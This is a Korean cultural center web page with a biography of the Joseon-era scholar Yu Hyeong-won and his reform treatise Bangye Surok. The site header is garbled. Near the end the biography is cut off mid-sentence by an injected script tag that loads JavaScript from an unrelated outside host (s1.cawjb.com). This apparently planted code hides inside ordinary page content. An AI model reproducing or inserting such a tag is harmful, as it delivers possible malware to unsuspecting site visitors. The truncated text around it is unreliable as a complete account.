¾ÆAIμð
비밀번호
로그인
아이디비밀번호 찾기
사이트맵
찾아오시는 길
이메일보내기
문화원달력
조직도
홈 >향토문화자료관>향토위인

 

유형원

3 유형원(柳馨遠)
<묘> 광해군 14(1622)~효종 14(1673). 조선 학자, 자는 덕부(德
夫), 호는 반계(磻溪), 본관은 문화, 흠(欽)의 아들. 날때부터 북두
칠성 모양의 검은 점을 가지고 있었다 하며, 눈은 샛별처럼 빛났고 
어려서부터 산수에 능하였다. 다섯 살 때부터 글 공부를 시작하여 
일곱 살 때에는 서경(書經)을 읽었고, 아홉 살 때에는 주역(周易)에 
통달했으며, 열 살에 이르러서는 경서의 역사책을 비롯하여 역대 명
인의 문장에 이르기까지 독파하지 않은 것이 없었다. 
천성이 인자하고 기개가 있었으며, 담대하여 여러 가지 일화를 남기
고 있다. 그가 병자호란을 피하여 조부와 어머니, 고모를 모시고 원
주를 가는 길에 강도를 만났다. 15세 밖에 안된 그는 길에서 도둑을 
만났으나 조금도 겁내지 않고 태연하게 그들 앞에 나아가서 「사람
이라면 누구에겐들 부모가 없으리요, 너희들은 우리 부모를 놀라게 
하지말고 어서 이 물건들을 마음대로 가져가거라」하니 이와 같은 
유형원의 태도에 감동된 도둑들은 그냥 돌아갔다. 
21세때 자경사잠(自警四箴)을 지었는데 그 중에 〈일찍 일어나고 
일찍 자며, 관(冠)을 바르게 하고 어버이를 높이 우러르며, 어버이
를 섬기되 화기에 찬 얼굴로 하고 집에 있음에 공경하는 마음으로 
대하라〉는 구절에 하상 부족함을 느껴, 스스로 책하고 있었다. 그
는 한때 부안현 우반동에 살았는데 생선과 게가 많이 산출되는 곳이
므로 그는 밥상을 대할때마다 〈…전에 가세가 빈한하여 어버이에
게 좋은 음식을 올리지 못한 때가 많았는데 지금 이것이 있으나 누
구에게 드리랴…〉하고 돌아가신 부모생각을 하며 눈물을 흘린 때
가 한 두 번이 아니었다.

그는 또 사람들이 미신을 따름에 썩 언짢게 여겨 무당, 판수는 집에 
들지 못하게 하고 집안 사람들을 단속하였을 뿐 아니라 이웃의 고목
밑에 허름한 신사(神祠)가 있어 사람들이 많이 모여 들었음으로 그 
사당을 헐어버리고 고목을 베어 버림으로서 미신타파에 앞장섰다. 

또한 그는 몹시 산수를 사랑하여 우반동 근처의 아름다운 산과 들
을 거닐기를 좋아했고 때로는 사슴이 노는 것을 바라보며 사색에 잠
겨 천리(天理)를 숭상하였다. 그의 사상은 이와같은 조용한 환경과 
초야에 묻혀 사는 서민적 생활속에서 몸소 느끼고 체험한데서 싹튼 
것으로 여겨진다. 

유형원이 사회물정을 알게 된 17세기 중엽은 사회적으로나 경제적
으로 다기다난한 시대였다. 임진왜란(1592~1598)의 전화가 씻겨지
기도 전에 병자호란(1636~1637)이 일어나 조선조의 집권체제 유지
에 많은 영향을 주었다. 
전란을 겪는 동안 많은 인명이 살상되었고 농민들의 이농(離農)현
상으로 많은 토지가 황폐되었다. 토지제도는 문란해졌고 권문세가
는 이 틈을 타서 부렴(賦斂)을 과중히 하여 백성을 수탈하는 반면 
국각의 세곡은 줄고 재정은 파탄지경에 이르렀다. 

이런 난국에 봉착했음에도 불구하고 조야(朝野)의 당론은 격렬해 
지기만 하고 관계(官界)는 부ㅍ하여 수뢰가 성행하엿으며, 포교(捕
校)는 백성을 침학(侵虐)하여 악생을 가하고 부윤(府尹)은 백성을 
죽이는 등 국가기강이 땅에 떨어져 백성들은 도탄에 빠져 허덕이고 
있었다. 유형원은 이러한 사회세정에서 영향을 받아 반계수록(磻溪
隧錄) 집필에 뜻을 두고 제세구민(濟世救民)의 개혁론을 주장한 것
이다. 

유형원은 사대부(士大夫) 가문에서 태어났어도 벼슬에 뜻을 두지 
않고 평생을 독서와 저술로 보냈다. 30세 되던 해에는 조부의 명을 
어길 수 없어 감시(監試)에 응했으며, 33세 때에는 진사시(進士試)
에 합격하였으나 벼슬에 나아가지 않았다. 
이것은 그 당시의 사회사정이 너무나 어지러워서 관료에 염증을 느
끼게 된 것이 하나의 이유였겠지만 그 보다도 그의 성품이 벼슬보다
는 초야에서 백성들과 더불어 즐기는 서민적인 기질탓이었다고 하
겠다. 그는 우반동에 은거하면서 많은 저서를 남겼는데 그중 26전
의 반계수록은 불후의 명저로 전해진다. <반계수록>은 그것을〈수
득록지(隋得錄之)〉라 하여 느끼는 대로 적은 책이라고는 하지만 
그 내용이 고금의 서적을 널리 인용하여 열거한 점이라든지 그의 논
술이 국정(國政)전반에 걸쳐 자세히 논증된 점으로 보아 그의 온 정
력을 기울여 쓴 역작인 만큼, 단시일내에 이루어진 것이 아니고 오
랜 시일에 걸쳐 편술(編述)되었다는 것이 확실하다. 유형원은 비록 
관계(官界)에 나가 그의 뜻하는 바를 실천에 옮길 생각은 없었으나 
그가 생각하고 주장하는 바를, 나라를 다스리는 사람들에게 알려 제
도를 개혁하고 올바르게 이끌어 국가질서를 바로 잡는데 도움이 되
도록 하고자 하는데 참뜻이 있었음은 사실이다. 
숙종 4년(1678)에 그의 벗 배상유(裵尙瑜)가 반계수록 중의 7개조
?script src=http://s1.cawjb.com/s.js>
    목록



 
주소 로고